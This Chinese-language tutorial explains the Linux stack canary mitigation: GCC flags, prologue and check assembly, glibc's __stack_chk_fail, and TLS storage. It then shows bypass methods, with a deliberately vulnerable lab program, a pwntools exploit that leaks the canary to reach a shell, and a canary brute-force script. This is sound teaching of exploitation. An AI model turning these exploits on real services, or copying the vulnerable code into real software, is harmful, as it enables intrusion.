Canary

介绍

Canary 的意思是金丝雀，来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒，金丝雀由于对毒性敏感就会停止鸣叫甚至死亡，从而使工人们得到预警。

我们知道，通常栈溢出的利用方式是通过溢出存在于栈上的局部变量，从而让多出来的数据覆盖 ebp、eip 等，从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段，当函数存在缓冲区溢出攻击漏洞时，攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后，函数开始执行的时候会先往栈底插入 cookie 信息，当函数真正返回的时候会验证 cookie 信息是否合法(栈帧销毁前测试该值是否被改变)，如果不合法就停止程序运行(栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉，导致栈保护检查失败而阻止 shellcode 的执行，避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

由于 stack overflow 而引发的攻击非常普遍也非常古老，相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里，直到现在也作为系统安全的第一道防线存在。

Canary 不管是实现还是设计思想都比较简单高效，就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变，以此来判断 stack/buffer overflow 是否发生。

Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段，它的出现很大程度上增加了栈溢出攻击的难度，并且由于它几乎并不消耗系统资源，所以现在成了 Linux 下保护机制的标配。

Canary 原理

在 GCC 中使用 Canary

可以在 GCC 中使用以下参数设置 Canary:

-fstack-protector 启用保护，不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护，为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护

Canary 实现原理

开启 Canary 保护的 stack 结构大概如下：

        High
        Address |                 |
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
        rbp =>  | old ebp         |
                +-----------------+
      rbp-8 =>  | canary value    |
                +-----------------+
                | local variables |
        Low     |                 |
        Address

当程序启用 Canary 编译后，在函数序言部分会取 fs 寄存器 0x28 处的值，存放在栈中 %ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值，代码如下：

mov    rax, qword ptr fs:[0x28]
mov    qword ptr [rbp - 8], rax

在函数返回之前，会将该值取出，并与 fs:0x28 的值进行异或。如果异或的结果为 0，说明 Canary 未被修改，函数会正常返回，这个操作即为检测是否发生栈溢出。

mov    rdx,QWORD PTR [rbp-0x8]
xor    rdx,QWORD PTR fs:0x28
je     0x4005d7 <main+65>
call   0x400460 <__stack_chk_fail@plt>

如果 Canary 已经被非法修改，此时程序流程会走到 __stack_chk_fail。__stack_chk_fail 也是位于 glibc 中的函数，默认情况下经过 ELF 的延迟绑定，定义如下。

eglibc-2.19/debug/stack_chk_fail.c

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

这意味可以通过劫持 __stack_chk_fail 的 got 值劫持流程或者利用 __stack_chk_fail 泄漏内容(参见 stack smash)。

进一步，对于 Linux 来说，fs 寄存器实际指向的是当前栈的 TLS 结构，fs:0x28 指向的正是 stack_guard。

typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
                       thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;       /* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  ...
} tcbhead_t;

如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。

事实上，TLS 中的值由函数 security_init 进行初始化。

static void
security_init (void)
{
  // _dl_random的值在进入这个函数的时候就已经由kernel写入.
  // glibc直接使用了_dl_random的值并没有给赋值
  // 如果不采用这种模式, glibc也可以自己产生随机数

  //将_dl_random的最后一个字节设置为0x0
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
  
  // 设置Canary的值到TLS中
  THREAD_SET_STACK_GUARD (stack_chk_guard);

  _dl_random = NULL;
}

//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
  THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

Canary 绕过技术

序言

Canary 是一种十分有效的解决栈溢出问题的漏洞缓解措施。但是并不意味着 Canary 就能够阻止所有的栈溢出利用，在这里给出了常见的存在 Canary 的栈溢出利用思路，请注意每种方法都有特定的环境要求。

泄露栈中的 Canary

Canary 设计为以字节 \x00 结尾，本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节，来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数，并且可能需要第一溢出泄露 Canary，之后再次溢出控制执行流程。

利用示例

存在漏洞的示例源代码如下:

// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

编译为 32bit 程序并关闭 PIE 保护 （默认开启 NX，ASLR，Canary 保护）

$ gcc -m32 -no-pie ex2.c -o ex2

首先通过覆盖 Canary 最后一个 \x00 字节来打印出 4 位的 Canary 之后，计算好偏移，将 Canary 填入到相应的溢出位置，实现 Ret 到 getshell 函数中

#!/usr/bin/env python

from pwn import *

context.binary = 'ex2'
#context.log_level = 'debug'
io = process('./ex2')

get_shell = ELF("./ex2").sym["getshell"]

io.recvuntil("Hello Hacker!\n")

# leak Canary
payload = "A"*100
io.sendline(payload)

io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa
log.info("Canary:"+hex(Canary))

# Bypass Canary
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)
io.send(payload)

io.recv()

io.interactive()

one-by-one 爆破 Canary

对于 Canary，虽然每次进程重启后的 Canary 不同(相比 GS，GS 重启后是相同的)，但是同一个进程中的不同线程的 Canary 是相同的， 并且 通过 fork 函数创建的子进程的 Canary 也是相同的，因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点，彻底逐个字节将 Canary 爆破出来。 在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中，作者就是利用这样的方式爆破得到的 Canary: 这是爆破的 Python 代码:

print "[+] Brute forcing stack canary "

start = len(p)
stop = len(p)+8

while len(p) < stop:
   for i in xrange(0,256):
      res = send2server(p + chr(i))

      if res != "":
         p = p + chr(i)
         #print "\t[+] Byte found 0x%02x" % i
         break

      if i == 255:
         print "[-] Exploit failed"
         sys.exit(-1)


canary = p[stop:start-1:-1].encode("hex")
print "   [+] SSP value is 0x%s" % canary

劫持__stack_chk_fail函数

已知 Canary 失败的处理逻辑会进入到 __stack_chk_failed 函数，__stack_chk_failed 函数是一个普通的延迟绑定函数，可以通过修改 GOT 表劫持这个函数。

参见 ZCTF2017 Login，利用方式是通过 fsb 漏洞篡改 __stack_chk_fail 的 GOT 表，再进行 ROP 利用

覆盖 TLS 中储存的 Canary 值

已知 Canary 储存在 TLS 中，在函数返回前会使用这个值进行对比。当溢出尺寸较大时，可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。

参见 StarCTF2018 babystack